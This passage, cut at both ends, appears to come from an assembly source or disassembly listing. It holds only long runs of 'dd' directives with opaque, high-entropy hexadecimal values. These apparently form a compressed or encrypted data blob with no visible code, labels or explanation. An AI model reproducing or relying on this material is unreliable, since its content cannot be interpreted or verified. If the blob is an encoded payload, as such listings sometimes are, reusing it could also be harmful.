0FD3A8240h, 0C500CA19h, 40531F2Eh dd 563DD85Bh, 582284E1h, 0DD934C00h, 2852A843h, 2AC000BDh dd 0BB47D2DFh, 4D36CDE5h, 20F08867h, 0F9F8336Bh, 1C221E4Bh dd 44B4477Dh, 0B53C6024h, 2010981Ch, 0F6309091h, 0DBBF9940h dd 12C200E6h, 0D5C026BAh, 1B3028EFh, 162DF1DAh, 0E2413891h dd 0D4CFB681h, 3965F0C2h, 0A7DA1314h, 0D511DC02h, 4D04426Ch dd 6022C4CCh, 0F48BE0C9h, 310709A6h, 0AC84F680h, 23DCA7BAh dd 84F41E2Fh, 0A2C4DC6Dh, 3C80C088h, 4F988FDh, 0C11F3F49h dd 6AFC906Eh, 5A4D45F7h, 0EC2E931Ch, 5F037F23h, 2609F866h dd 90005C9h, 50493F0Fh, 38280D3Ch, 28C4AACh, 0C9470DE4h dd 7AE05FFEh, 26E88967h, 5AE75826h, 0C80E9305h, 0E2E1A880h dd 8F632EACh, 0D194A184h, 271C4Ah, 0B5125ABDh, 43014B46h dd 0BEFFC18h, 12A4B1D0h, 8E621B31h, 0C04F88B8h, 291B0C48h dd 56E13B00h, 70DBF715h, 0F10F2605h, 26CC060h, 7A25FBF6h dd 8814A1h, 8302643Ch, 7E882BBCh, 8E692405h, 0C805610h dd 1827D8B4h, 31674041h, 123A2DECh, 3E58332h, 0D07A689Ch dd 2A1F269Dh, 0E863C7h, 376AF13Bh, 0DC620C34h, 32F374B0h dd 2EA0003Ch, 86BA2B22h, 3F7477EDh, 0E1814934h, 33CB0651h dd 0F22022C2h, 71903337h, 651F9E49h, 3DC67978h, 0B9625Dh dd 200F2BAFh, 193CDE2Ch, 94672400h, 8ABEF295h, 75F61836h dd 4855E02Eh, 0ACB9BC90h, 8E182D79h, 0DBB90600h, 207F1250h dd 0DE7D09BCh, 64205851h, 18195FBh, 9C92FCA0h, 18122B33h dd 3221E1B9h, 504BB603h, 4823583Ah, 0CCEDC500h, 10E865h dd 764A73D7h, 1E8A1CCBh, 5564000h, 0E1F760E5h, 3BD89244h dd 3C4C2931h, 14F9660Ch, 0D91B91D1h, 0F0189279h, 0DFA509F7h dd 7DC10E30h, 3F10191h, 1EB3E9DBh, 13ADD424h, 0F6E54F2h dd 9D812FC4h, 6467F529h, 3220CF70h, 93C12228h, 858F5202h dd 0A0682F3Ah, 7AF662E8h, 6EA53C44h, 1205A44Dh, 42B343F2h dd 38955E8h, 0CA93CE4h, 0B300D2B7h, 286CEF2h, 0F601F8Eh dd 1848E264h, 7358D316h, 8C23BC00h, 44758300h, 5AEE60C6h dd 0C5FB38A1h, 0D806A8h, 9EA9E8E1h, 7DEF6FD3h, 20944F51h dd 5305A2B8h, 0C5C72B74h, 87A88414h, 14AFE7E4h, 91C60084h dd 93A65C82h, 16BB28ECh, 0DF4501A4h, 39BD5D05h, 8BBEEC5Eh dd 3B6C1F04h, 0D5046E85h, 0D99D013Ah, 5880F7BCh, 7D8BA102h dd 0B50E8D6Ch, 0F304DDBh, 3CEFC146h, 9852F07Ch, 0C0B04DDDh dd 70F530D6h, 6EE0D301h, 50143ED5h, 2DBCC468h, 0C74B1D8Ch dd 0B58C0077h, 62AEDC25h, 33C9E717h, 0FB003213h, 491B549Ah dd 6D020069h, 0EA51CEFAh, 9450B9F7h, 0D01F0EB0h, 65173D7Dh dd 0DF474040h, 6F25E6Bh, 2DC6F6E2h, 8B0C06Ch, 0A03EF320h dd 532550h, 0BA46146Dh, 51C26655h, 2023D030h, 29407AB6h dd 0E3202D3Bh, 33EC9F82h, 0D2339250h, 16E7EF4h, 0DA692B39h dd 0D1498BA8h, 0BC6028A5h dd 5A008C68h, 89604ADEh, 9C7BF99Fh, 506B9940h, 46118F4h dd 52FBCD02h, 80B4B2A3h, 3025973h, 0DBB0038h, 0D990D54Eh dd 0CC90BDEDh, 95E45C05h, 0A4027BCDh, 50C79C5Ah, 0F12612BCh dd 65D44059h, 0A12D039Ah, 1D8BED00h, 1043CB3Ch, 0B694B260h dd 48465E88h, 9E6F6300h, 0ADAEB7F2h, 0E76A760Bh, 3B7041DDh dd 0AA738F18h, 0F809110h, 0AAF74EB0h, 0C2021E0Ah, 113D901Bh dd 9E3D45FDh, 5D602960h, 0E1E2673Bh, 20A1D301h, 0BB43E968h dd 25EC40FAh, 614028ACh, 0F91D031Ch, 9BFEB8BFh, 0AE9CA790h dd 0FA1AA00h, 0EEFFE4E7h, 0A7C49004h, 63214484h, 2A10A002h dd 0FECF025Ah, 48A89E2h, 0F5467858h, 0F2026002h, 0F0B35AFBh dd 587040ACh, 60F32602h, 5980489Eh, 0F725E737h, 424122Dh dd 0FC9865ACh, 89CB0457h, 322B1AE0h, 2F2C2034h, 160064CBh dd 78F69793h, 4EE8BCCh, 49ADFB3Eh, 0E280D115h, 2CAC3186h dd 8C34BC18h, 0B291920Eh, 0CF52E033h, 1276675h, 44548E56h dd 3CFDA5FAh, 16E403C0h, 534B79ECh, 25A210D0h, 5197BC30h dd 482CB4E4h, 0CD819B80h, 0AC02610Dh, 0E1633DD3h, 761EC0C1h dd 7C93045Ah, 0FE283F71h, 30113DC0h, 6878591Dh, 3C031708h dd 0FDD80C3Eh, 6161864h, 0CD2808A2h, 0FC171143h, 2C3EA47Dh dd 94802323h, 3371FE69h, 61C9073Ah, 0A0516DCFh, 9B31293Fh dd 0D3311860h, 97E684h, 0C0D43678h, 6F09A3E9h, 4AF48E0Bh dd 0FE1002ADh, 98C08979h, 0F48957A8h, 48F35B5Dh, 2BC05978h dd 21E08DCBh, 7C912A3Ah, 0E4232814h, 8A195B00h, 8953D166h dd 6C9C2972h, 0E871BB1Bh, 0BC4457FCh, 22467660h, 16A63F79h dd 982EBF80h, 18747DABh, 1F974C00h, 0ADFA5F06h, 4C654995h dd 4E05116h, 0B0B34FB1h, 1E639B2Ch, 0BF0DC851h, 8B492B90h dd 54E6F4h, 1CAD40E1h, 0B7E365ECh, 90AAE2E8h, 0DC7B0C71h dd 8B625460h, 0F5562914h, 61247CACh, 0DA403C8Ah, 98397451h dd 0AD9B2AB4h, 0D91F268Ch, 0C96641F4h, 0F4E9E404h, 694FCC14h dd 0A5FB81D8h, 0E8AC6841h, 3A3134CAh, 33223DCh, 0DDB8E7E9h dd 76F589E0h, 217A7E33h, 0DF1F02Eh, 0C03C0064h, 28D59DD4h dd 730359AEh, 6D2E8CEh, 9CC81232h, 0A0649709h, 47146E56h dd 94359586h, 3660B301h, 0C746C98h, 7C6102F4h, 599C5E5h dd 0E287086Bh, 9D0045D5h, 0B2B015C9h, 0E8FA4A68h, 0E684C2Ch dd 47B10FC4h, 51C91647h, 99DC0B1Ch, 1CB8900Ch, 4D0B9325h dd 6E51C0B0h, 8E24E791h, 72818049h, 6C030514h, 5F9AF843h dd 2406FD8h, 9DA57FBh, 39D45108h, 0B020845Ch, 60F89E5Ch dd 0DF81B391h, 26213ECCh, 7AE2B709h, 2C66182Bh, 0AB2068B0h dd 339B341Dh, 0F28CE291h, 63E13022h, 9AF67901h, 57EE350Dh dd 2210B5D9h, 27014B85h, 1B58EA9Dh, 0F4E45E86h, 8A060318h dd 66438062h, 9DBCA13Fh, 0D1802EDEh, 0B2F7BF22h, 0F55B0453h dd 80F66180h, 0C36DDC95h, 4ED92891h, 0CB5EDC19h, 0D4F45C16h dd 4D258C04h, 59D5EA00h, 0C60F7423h, 0EECCF14Bh, 0DBE66166h dd 6422F55Ah, 22F007Ch, 0AFDC7E19h, 500F9E5h, 54937F40h dd 2AEB89C9h, 0C4647Dh, 9EFADFCh, 0DA78531Ch, 18A3Bh, 0E645A524h dd 5D7BB1DDh, 204FB028h, 0BEA444F4h, 5068DA00h, 9D41582Ch dd 0BF7E0089h, 4E9314D0h, 2224FB39h, 5E1154A3h, 8CCB2E80h dd 0C4BE72E0h, 262B58h, 0B8BA85CBh, 60C58115h, 19C99108h dd 0E7E0046Ch, 11E0F4FDh, 1B3FDC99h, 0E2E6EDCFh, 0E5EC91F1h dd 4AE84C8Eh, 0E911A3E3h, 2CFA8801h, 0A9C0FFFBh, 0FF71D460h dd 0B3F42609h, 52A5D81Dh, 74960004h, 2992A048h, 0B1C297D1h dd 2BAEDEFh, 685944BEh, 70183479h, 9C423Eh, 4C39E65Dh dd 9F1BF56h, 74812206h, 0A6C21405h, 4F64B164h, 66E4F8C3h dd 13815F3Dh, 23FC3AF0h, 0FC540026h, 183201A0h, 0B2701104h dd 3CE039C5h, 0FC6E4C2Dh, 28C058C8h, 43E08ACBh, 20258222h dd 0D3D080CBh, 3F4CD0FCh, 56025529h, 40E76987h, 0C56BD8C8h dd 0EFCA1300h, 0E1DC1D3Fh, 5C15484Fh, 0D8335302h, 0C88461D5h dd 0FA0A82C8h, 4D71CCD1h, 0EA68EC19h, 540C8200h, 7CC88E2Fh dd 0D1B8B16Fh, 27D186Ch, 5EE16E19h, 0B89773DDh, 0D3802591h dd 573BA23h, 465CD896h, 0FE74016Ch, 0DBECBDD0h, 6117F468h dd 0E4B88890h, 5E20A320h, 6F6C202Eh, 0C400431Ah, 0F06C3363h dd 2DE2B26h, 6673BBB0h, 8C788D96h, 84E8E101h, 7E50FBD6h dd 806579A5h, 0D06795E4h, 0FCC6C1Eh, 3E161675h, 0DD16CFE7h dd 2FB66CC2h, 0A30718C0h, 0F9022161h, 7CE796E2h, 66EA40C2h dd 926CA394h, 40CC54EEh, 7568058Bh, 0E9B7E10Bh, 84BCA9B5h dd 126F0DB0h, 1C05C74Dh, 0EC81737Ch, 51006B55h, 1F13B2A8h dd 6CCF8FC3h, 37C03388h, 2CAAB63h, 91563ACCh, 58D039C1h dd 0F306612h, 89691044h, 0B9556CC1h, 0C0E99444h, 0DBEED3B8h dd 24CA062Ch, 20BF9909h, 92595508h, 278F309Ch, 2335110h dd 7ED14099h, 0C002318h, 0E2F29AE7h, 25A86E89h, 0C0297E1Fh dd 910C3872h, 0E86D7129h, 0E5E2040h, 0DB01E509h, 0C240CDA8h dd 0A082FF68h, 0E200428Dh, 9C0C93FDh, 79465E3Ch, 635B7D09h dd 303C728Ah, 0FDCD6569h, 7C1F614Ah, 0D08B00A2h, 65944BF2h dd 0AE13E415h, 7C8001FFh, 50BF61F9h, 8C3CD877h, 57AA8804h dd 2062F891h, 0AAF05520h, 8FF400A9h, 0A21CEE1h, 1150FFE0h dd 93137CC9h, 0BC2FC204h, 0AF003323h, 38864A1Eh, 3DF725FDh dd 98510462h, 0A43DFFC3h, 0B204F225h, 30FE3020h, 9242FD07h dd 0FCC2143Eh, 8CABB5h, 87D44678h, 0DF9C2447h, 2C97A744h dd 44806E91h, 0AD14C140h, 6CC76113h, 5A0C8h, 81C0AFE1h dd 87F2E090h, 0D610271Ch, 94068CD7h, 0E781A1Bh, 902C998Bh dd 8EB53A45h, 0C3348868h, 7DE0C681h, 122659BDh, 0E401BD44h dd 69A3B8ADh, 40EF1820h, 3301C98Eh, 6610B2FDh, 6434B488h dd 9962447Ch, 0AECEC800h, 0F3AFFAF4h, 94340492h, 0FC18A5DBh dd 30F6B998h, 0BB2EFA15h, 0BC206FEBh, 5F2D26ECh, 0F1E8327Ah dd 186259DCh, 0C5E51223h, 0DA68C0D9h, 9518F813h, 0D8107A19h dd 1FEB29E9h, 186AF1ECh, 0A835007Ah, 0A143275Ch, 61258FF8h dd 0E2249B8Bh, 0B1260735h, 0C0E5C9F5h, 0F11D18B7h, 56498B28h dd 0F9A45160h, 27184Ch, 312E0289h, 0C5CF1A65h, 6834485Ah dd 37AC28ECh, 396A008Ch, 4BBDE53Dh, 5E19828Ah, 0BBF96040h dd 4C951480h, 7C2F92EFh, 3A012A00h, 0FC51DFEBh, 20709844h dd 80DE4555h, 72A9310Fh, 0FBCAE0E4h, 23D83A05h, 35D90027h dd 0CF3D1B78h, 0F42F414Ah, 0AB027F23h, 0F039CF0Ah, 169C9494h dd 0C47889E3h, 2800A5E9h, 0D95AB7A9h, 0E272C7h, 0F616410Dh dd 0D3966959h, 0C9F4F71Ch, 0FB40739Ch, 0E6FAA4F1h, 4571250Ch dd 0E91DB837h, 6C89C741h, 0BDF4E2C4h, 974C9075h, 0B1911C17h dd 3D7AE083h, 32D5A4D0h, 0EF885CBCh, 9661041Ch, 0D9064041h dd 0B498A2DBh, 119360D8h, 5B845F69h, 23E02E73h, 0BFA60023h dd 0D98DE755h, 0E5B95703h, 26F75CDh, 7EC4690h, 0E8D9B324h dd 57186AD1h, 0E41AE500h, 44EF228Ah, 2CADF642h, 8B801D01h dd 0E4456479h, 2B8A188h, 0BAB5EFE0h, 0FC9D30CDh, 0C88E4656h dd 3FC021C8h, 4FF0127h, 0E9DDA35Bh, 0E508D0ABh, 4C9AD1ADh dd 0C020C45Ah, 5479C55Bh, 972D86Ch, 68339566h, 4C6490E7h dd 6DEC4067h, 400F33F0h, 69CE3217h, 0E0F88DA0h, 0D4D244E1h dd 0BE04F498h dd 9BD0E984h, 0CE14B4h, 0A8BB50E1h, 0F7970AECh, 8060663Fh dd 1BAC150Ch, 186712DDh, 0D9EBF156h, 32D99DAh, 50902813h dd 0A1C9441Bh, 0F2E4FECh, 0E2B39B04h, 66550AD8h, 404F8892h dd 0C1D68D9Eh, 0F0BE518Eh, 3A471993h, 2342314h, 71535B4Dh dd 0DD1C3D74h, 0E89E84C9h, 0B7FAF78h, 7C01399Bh, 7D050868h dd 8EA2B000h, 0BF4CC882h, 0F2FF0EBAh, 85A0F623h, 6B699966h dd 9D54F102h, 6295D9C9h, 44E86794h, 0E00A637Fh, 7C460F9Dh dd 50734916h, 331D08B8h, 30C19CCEh, 73D5E7E1h, 0FBACC439h dd 37CA4B00h, 0F91013A7h, 59D8C093h, 0EFB60AF2h, 0A66B2D40h dd 25CC00A0h, 0DDD35A66h, 89CC3E1h, 0B8E35112h, 9988E207h dd 0CFF9CC7Dh, 17E10D00h, 0F75E7677h, 289B5035h, 0BE910BABh dd 0B00BDDDAh, 4800E459h, 0F1FD42C5h, 940100A6h, 99112D55h dd 0C109BBA5h, 72C01FCBh, 28F602ACh, 7A5D3766h, 681D80ABh dd 66809511h, 0B374B4ECh, 45F1C109h, 0A9046840h, 0C99900A7h dd 0ED1A140Ch, 0CC002410h, 2C6F8FF6h, 0BBB373h, 9EF14497h dd 0BE5AFF3Bh, 9C00E8EEh, 1AD6757Ah, 0E04CD4F5h, 5CD89471h dd 0C092446h, 7C8281B4h, 1F01BD19h, 0A44C7011h, 7AFA0079h dd 54BDA79Eh, 0CCA321B8h, 6CEAC0AAh, 0EE7830D3h, 907F05C7h dd 0A8F52993h, 6540131Ch, 79B9CA4h, 75C368ADh, 1242A035h dd 0E09CAFDAh, 562465Eh, 40F6F3D2h, 0E10CBC30h, 42690070h dd 6C67CCB2h, 96036313h, 94026E09h, 7B97E841h, 0B762E01Ch dd 9D243890h, 0FD313E00h, 22102FC2h, 0F87800E8h, 0B29C67ECh dd 0DB12E645h, 8E41451h, 0E8B445F6h, 7039B2FBh, 0AB6F80E2h dd 6C191EFCh, 0B7E804CDh, 907D7CF5h, 9A9FB23Ch, 7004EE76h dd 0BC10418Fh, 515F70C0h, 5C34E86Ch, 26E89892h, 9A61058Ch dd 4C614C2h, 485CC5BCh, 0ECAE807Ah, 6413C4A7h, 0CF244601h dd 0CC169CABh, 0BEC2842Ch, 48598981h, 0C338EDA7h, 83C82262h dd 9807A6ABh, 9356C54Ah, 0D8F440F4h, 0CEC61DBFh, 4E3400B0h dd 0C1C5E5C8h, 172E18BAh, 61112068h, 10DB6274h, 630104C5h dd 0B9E1FBD8h, 0C8AB00FEh, 0A12C8B61h, 0B1421065h, 0F878401Eh dd 1BDD2FC5h, 1F07DC48h, 203AC881h, 7BADC1F0h, 0A7FDE280h dd 601A44C0h, 5BC808B7h, 0A8C4801Dh, 197159Eh, 45607708h dd 306E7Eh, 87239E83h, 53EC9EFh, 95FBB780h, 0C48C53E1h dd 0B054B6D0h, 3F1EAF5h, 0ADF843E4h, 502D7C3Dh, 11C378Fh dd 9480EBFFh, 39F7C097h, 7C0160B0h, 0FE660F33h, 0FC6C4460h dd 2C8C1AECh, 112C6E24h, 0EE3600BDh, 692E38CFh, 3E635A2Ch dd 7E2378h, 0B0C72667h, 0A0A4EBB7h, 8ECD1C00h, 44CA3D3Ah dd 55FF12E0h, 3490364Bh, 0FC09AA5Ah, 91949F79h, 8143804Ah dd 1DA0223h, 747AF76Fh, 39054DD9h, 0F87BAC80h, 32B003E0h dd 14292A2Eh, 59A8B6E0h, 27CCF059h, 11B01FFAh, 615A8095h dd 989CECFh, 5D1D0BAEh, 620084FAh, 40F3DB6h, 2F9A6AAh dd 0B46C988Ch, 246003E5h, 55803C3Fh, 75101733h, 951CE47Ch dd 2F0BA41h, 4C8315E7h, 3172E893h, 9B6142E9h, 0F508241Ch dd 0FB46E200h, 396F2B5Fh, 962F0298h, 37D80C9h, 649138DEh dd 0EC6C4F00h, 0AAF785ABh, 45290500h, 1E878252h, 8004B9DAh dd 0F16F932Dh, 0B701CEE5h, 11908256h, 0DC689D61h, 952DB0D8h dd 95C1D780h, 71EB0A0h, 0E20C4C2Eh, 0C1DA1FF6h, 56CB0047h dd 35AFC769h, 512DC46Ah, 0A62C03DCh, 61A00917h, 820B795h dd 909856E1h, 40B4ECF8h, 0D4EFF481h, 322A9493h, 58C44344h dd 0DD602499h, 7A852280h, 20010EEBh, 0B22CD991h, 545CF638h dd 63DD10B8h, 306FCC51h, 0C5B21088h, 541C194Bh, 0C81028D3h dd 0C21060F3h, 0C32DA051h, 0C31FB698h, 8800B7C3h, 64BC0456h dd 12CE3DC1h, 0D1626A0Dh, 944AC38h, 22AC282Ch, 15D5008Ch dd 0D43B1011h, 8C5F7386h, 0D44963BCh, 0D9EC1605h, 0B240E348h dd 7E193025h, 0DC626E28h, 1B39C322h, 29153D66h, 0E70530D1h dd 0E7E47004h, 0B6249981h, 13BCA190h, 0B0730AC4h, 0B36A0931h dd 0D8C195ADh, 0B7C292Fh, 0E8F0D016h, 66983Ch, 0C19DCEEDh dd 0C68ECC41h, 4EF3A10Ah, 9908B802h, 5F716261h, 56087412h dd 6D281A46h, 0E26E4484h, 0CB979F4h, 27450700h, 924D298Bh dd 0E0069728h, 17B5B995h, 80B191DCh, 0E7BA0102h, 0B1A54A9Dh dd 0BC7C2C6Ch, 4C078C4Ah, 2EF1E386h, 6F11C080h, 81E807E1h dd 0E0EBA3D2h, 0B3AEE454h, 9A2C8A7Bh, 4674F072h, 5E94002Dh dd 256D1D4h, 0B8BD00C1h, 3016DA5Bh, 0BB391A0Ah, 0E02FCFEBh dd 1C004D23h, 97C70D66h, 6C645CD1h, 675110h, 3AB2251Eh dd 0B7A4DBFAh, 0A800D8B7h, 73E87955h, 0BEB7000Ah, 0E9DC38ACh dd 0F0B922D3h, 0C024CD2Dh, 7BDA203Eh, 0BC27C700h, 4818744Fh dd 0C19C1387h, 8B345605h, 0C00DC84Ch, 8DF6B8Dh, 5344F001h dd 26F6F39Eh, 9C6CFAD1h, 748C4FB8h, 0CF260972h, 70107F3Dh dd 39027E5Eh, 944F3B85h, 0B9F060F3h, 0E66F80A5h, 0B4132090h dd 0C002E129h, 9642131h, 6D7F040Fh, 0FA5528A0h, 7D54D1C5h dd 61D765D8h, 1F91D081h, 1997E44Dh, 0C8C0CBB6h, 0C1B0C027h dd 0C49511A3h, 529300C0h, 0CDF80B81h, 0AC0BF36Ah, 0D2336680h dd 0E46E0B1Ch, 6C0265F1h, 0E05436EFh, 0DC57B07h, 12D8983Ch dd 125E0BE1h, 0F734B204h, 14CAD8h, 46D79782h, 0A94F2993h dd 52530809h, 5E209454h, 40009746h, 742D23B5h, 7F0046A2h dd 61FFABDh, 97E8B616h, 0B191B017h, 0F7C36A82h, 24213865h dd 0CC194851h, 0E4A0F308h, 40009DDEh, 0BCE53B4Ch, 0E9CE6FCh dd 9745D76Ah, 33C8B10Ah, 90A47CEAh, 0C6A4260Ch, 4410D1Ch dd 0B05FFE80h, 22BBA34h, 0E7B7E9C1h, 1C000E7Fh, 9A778Ah dd 65C46CCEh, 7CCDDFA5h, 3D24FB75h, 42602C6Eh, 5AA490D0h dd 6750D0F6h, 0C0E51DBh, 7E0D8E9h, 84401CE8h, 233F67Fh dd 0A97B434Ah, 98D195E7h, 0D0183279h, 0FB28640Fh, 0F250A01Eh dd 4827B45Dh, 2922433h, 91E68CC0h, 5A09AC40h, 0C379D81h dd 0C8848A4Ah, 7B7CA33h, 607A46F0h, 516CCF61h, 0B004C73h dd 0A3CC533Ah, 1F9957h, 598DE737h, 73DD51E1h, 0F51D353Ch dd 6E88B367h, 0D67453C0h, 24E27CF5h, 0A7FC4D0Dh, 595DACE0h dd 42D9B1C8h, 0CCA37843h, 0CEB0A709h, 37E4EBBCh, 1033D91Ch dd 0F12841D8h, 0C21F2C56h, 821761A4h, 57F60296h, 1B76FCA0h dd 6D1DDE27h, 9F80A44Dh, 0FDD944B2h, 4FD70098h, 92D4E1A0h dd 626745C9h, 0E8DE5359h, 3380BE6Bh, 0F4FEF7D8h, 0B904F272h dd 6F85D748h, 0FC5340CDh, 0E5110457h, 8A6FD9CDh, 5DF872FCh dd 4A4477F7h, 7C23A82Fh, 0E503FF24h, 3C639DC5h, 5AD4650h dd 0E460184Dh, 14187513h, 0C49CA298h, 6504F4D3h, 0A5A5DF3Ch dd 0EEE8453Ch, 66C280B1h, 124EC674h, 35C5E816h, 0F250E2B0h dd 0B9C53062h, 0C043490Fh, 5319CB2Bh, 4EA97340h, 208BD840h dd 0C503D012h, 801EF00Fh, 0DA6E43B9h, 3CAB9DE9h, 6A751402h dd 0C7DDE402h, 6023642Ch, 1ED7D22h, 11ABA6B3h, 269C8E0Dh dd 307CB2D4h, 61266521h, 0C149AC95h, 0D4429984h, 8FE32067h dd 0FE0114CAh, 366546B0h, 55D26FD0h, 0E6F14C82h, 207954F9h dd 4B00CB18h, 7FF6BD1Ah, 94307BDEh, 0D50A6E8h, 59D86A5Dh dd 1CDB2BF4h, 0C9F23D80h, 9A157061h, 7807B7Dh, 0C26D311Ch dd 0FAEFAC70h, 0E6ED1C2Eh, 0DD3D8214h, 20EAE120h, 27113C1Dh dd 44CC2380h, 0F4B1B93Bh dd 545A0E01h, 0C2045D0h, 7D021856h, 61359160h, 0D5727C00h dd 5DD089ABh, 82149B50h, 3619C5FBh, 0AB024454h, 90818A61h dd 3A9CE8DCh, 23CB2BD5h, 21EB8980h, 0C0AAB48Fh, 0F473D044h dd 0BB4CE52h, 2B122E1Fh, 67206DD4h, 551D7089h, 0C5203191h dd 0B86A0F63h, 287959F1h, 0B8B428FAh, 0D9B08CB0h, 99EFE00Ch dd 793C842h, 9DF4CE05h, 0BC119BA8h, 34C82EB6h, 0EB4601DDh dd 77A4917Dh, 0BCF0282Ah, 0BB008C4Ah, 100D9644h, 25B99028h dd 0A8FAD81Fh, 79674030h, 111B2Dh, 709FC21h, 0AC297C13h dd 12D3FE58h, 90A87BCDh, 488C4CECh, 6F13B5EEh, 0EFE00263h dd 80A2BBD9h, 0B0A11511h, 0F42EF1C9h, 53F79BF8h, 0B4883A84h dd 44002065h, 375E2367h, 0A007E5CEh, 28ADFBC0h, 0BD4C7975h dd 0F07EC37h, 0C2C03963h, 9D9DBF9h, 4FE0E8E9h, 6A444847h dd 0AEBD7660h, 3F4C5202h, 5EF8DDABh, 1CFB0020h, 268599CDh dd 18D0F14Ah, 6A86F529h, 0A84CE71h, 4B687C15h, 320010B7h dd 42B39DA7h, 53290945h, 847451ADh, 0CB80F545h, 14221979h dd 0BA33FE8Fh, 10C25505h, 0D3ECE989h, 25C8348Ah, 0E012FFC2h dd 1C35777Ch, 0A88AB1D8h, 11D880A8h, 0BA46800Bh, 91781795h dd 9BD28169h, 357A8CF7h, 83DCA8E4h, 0E001FB25h, 12631D2h dd 4B03D334h, 0D4EB68FDh, 0B713ACDEh, 54C26F9Bh, 80FC56F6h dd 0B587E888h, 7CA57E0Ah, 0B36020E4h, 0A7E69922h, 0E2466102h dd 5C4AA5CFh, 802CD9F8h, 58DC7481h, 9EA1CDF8h, 0B1DA05A8h dd 7AB48543h, 0A1D70044h, 1EC99F97h, 0D10D040Fh, 0B944E433h dd 40510884h, 9D24393Ah, 4C625FEh, 0B24E3843h, 3048B220h dd 4C0F1958h, 221A21Bh, 82E56CD2h, 935D88h, 0AB43298Bh dd 0E44C264Fh, 18DC414Fh, 982AA3B1h, 22BD879Bh, 2E6EDDC4h dd 0A209EF02h, 248384DAh, 0DB47B125h, 0F2057094h, 0A310EC18h dd 9CA02DA8h, 985A85B0h, 0A6F4533Bh, 9CB4E424h, 0CFF50030h dd 1E61F6AEh, 0E12599E9h, 6B78254Fh, 0E46D3CC0h, 813A5B17h dd 44DF1FF4h, 0C1C0AC6Ch, 6EA5102Ah, 59FA9C34h, 0D8BD74E3h dd 0FB606E86h, 0CA895FE8h, 32660B40h, 0E447473Ch, 1D612164h dd 0DE3BE0DFh, 51DBC504h, 44AF14F8h, 130181B4h, 46EF90C0h dd 9E2602FBh, 2B1F9C5Bh, 40AEFCA2h, 0F1581A00h, 28930061h dd 33352FAAh, 0CF2E174Ch, 0EB006D32h, 5489BD8Ch, 1C1E6687h dd 0E6600877h, 0BD850D21h, 0EF58C080h, 0D8D7CF8Fh, 54B2B000h dd 0BE0C2C12h, 3C1501EAh, 0B37FFA9Dh, 52CB0036h, 24F20E53h dd 0CFAF46BCh, 4C083EACh, 4B7321C1h, 76214DF2h, 0D0048103h dd 76C60B8h, 16D1431Fh, 4C50836Bh, 410610EEh, 40B507B0h dd 27F0741h, 40E85C19h, 0A985BF91h, 0D0389203h, 3ACB35B4h dd 891D98C0h, 4E11B0E2h, 5901F62Ah, 0FE5747B8h, 8980FAFh dd 22752143h, 723EF607h, 0A0F1BEC7h, 0BAC046E1h, 83E0C88Eh dd 28F257C0h, 226646BCh, 77754Fh, 4555B1F2h, 133A1B08h dd 0CE18E776h, 0CA713BE3h, 980903E2h, 0A7FC79B1h, 0BCCE27E8h dd 37B3F01Fh, 99C4E640h, 30DB11F1h, 3258FFB8h, 7906BFB9h dd 0A35A6FFBh, 2854698h, 0BC2AF259h, 10473176h, 7F25179h dd 0B48314BAh, 350EC05Ch, 5701E856h, 4A38DF5Bh, 0B9E4E7B8h dd 31AA0176h, 0D080BA43h, 81C4471Ah, 40E5D4AFh, 84CB998Ch dd 2504B0ACh, 1FB854F6h, 70204662h, 0FD7F61Dh, 0FB113AEEh dd 0BC460C3h, 0C1B580Dh, 98F3282Fh, 5C5120h, 0BA599FE9h dd 13A19711h, 116F03Dh, 0C8CB108Fh, 0B0814063h, 1B1D2F64h dd 1A9050FDh, 8D388E89h, 36EF8683h, 6008737Bh, 813C6115h dd 8D006C8Eh, 0D0C0279h, 185BE503h, 0D8ED40AFh, 3B0DCBDFh dd 10EE3487h, 0F2BE7040h, 0C3D4813h, 58DC7810h, 7D42062Dh dd 7CE0CE17h, 9C9216h, 63DACF1Dh, 0F812EF61h, 0E500D0FEh dd 0D12718BBh, 30F05704h, 58C03DF3h, 39C0D217h, 6EE7ED20h dd 5257CECh, 0E30B813Eh, 4CA04042h, 0BA7560F0h, 8200A0F4h dd 26F5D833h, 3E9C9EDDh, 1CA4786Dh, 0D7166380h, 86B35900h dd 69E48B0Ch, 1C4800D8h, 4C9560A3h, 0B7004501h, 0EEBDBE2Ah dd 0EFCC5Ah, 0FE1B8C57h, 17D480B9h, 2098D0A1h, 33263644h dd 91C02051h, 46548EBDh, 0E422AFh, 0BBD8A12h, 0DD14C8F6h dd 8141DC14h, 58B70650h, 246007C0h, 1128D25Dh, 0F6248083h dd 8C17B853h, 1C6F4744h, 80C9F61Ch, 22D184F7h, 0F328B7FDh dd 5248AC47h, 8C45E850h, 8CDBE638h, 193DE3C6h, 68E077h dd 15F1F843h, 0CD6B49C2h, 8060C139h, 0A1B498F0h, 390725A7h dd 3035BADBh, 1E4C0838h, 898E8AC3h, 1F0E8B83h, 68C0823Dh dd 605DC3FBh, 88580297h, 3FB65CF1h, 33368FE1h, 0E294426Ch dd 206D3142h, 0EDBCE4h, 0A2FBBB5h, 5D7BEFCEh, 8350998h dd 0C118348Fh, 0A404BB60h, 0CE0CB7BEh, 0E08084D0h, 2840CF13h dd 0B6DA33E1h, 21785223h, 118E8D30h, 88A38391h, 85408713h dd 9F87B08Eh, 0CA48A4CDh, 6BF90048h, 4BF054E1h, 4498DE52h dd 0C46110C4h, 5060C254h, 11BD9030h, 88A7548Dh, 891180E0h dd 930FA9BDh, 0D1B0091Bh, 0C1B87419h, 8EC1DA9h, 2C608C3Ch dd 8C20C88Eh, 90118C7Bh, 11889B83h, 8E843F80h, 5471CC8h dd 0A0975C4Ah, 5A980BD1h, 60841C24h, 2129F258h, 78C06EBCh dd 0A0F250h, 0D4AF47Eh, 16CDD8D5h, 0CC038809h, 31D8A0B8h dd 0C61C8B4h, 372E7015h, 0B5760988h, 94483368h, 0C4944A11h dd 7754870Ah, 40E8C494h, 30BD830Bh, 0B38C002Ah, 1A804BF7h dd 0BC3A49F4h, 0D0E331B7h, 30523F18h, 0BD8B304Bh, 7F548813h dd 0C0438h, 5C3EBD84h, 0E0BCB1EAh, 3B7E4111h, 29D31718h dd 63A6E1Ch, 0ACEF0522h, 0A0088BBAh, 0F254C080h, 4E46BC25h dd 4C748877h, 0FF00F272h, 0D00C6104h, 78DDA40Fh, 38D8A81Bh dd 1E2E04DCh, 0C101E6D4h, 63DAF7E9h, 0B06002B0h, 0C30FEFA1h dd 0CEC0FCFCh, 90066880h, 7FF90A7Ch, 88E6A4h, 34B1B0EAh dd 0C1C2D518h, 0D8F4FD51h, 0F8A0450h, 0C2BABE64h, 29308844h dd 0B85811F6h, 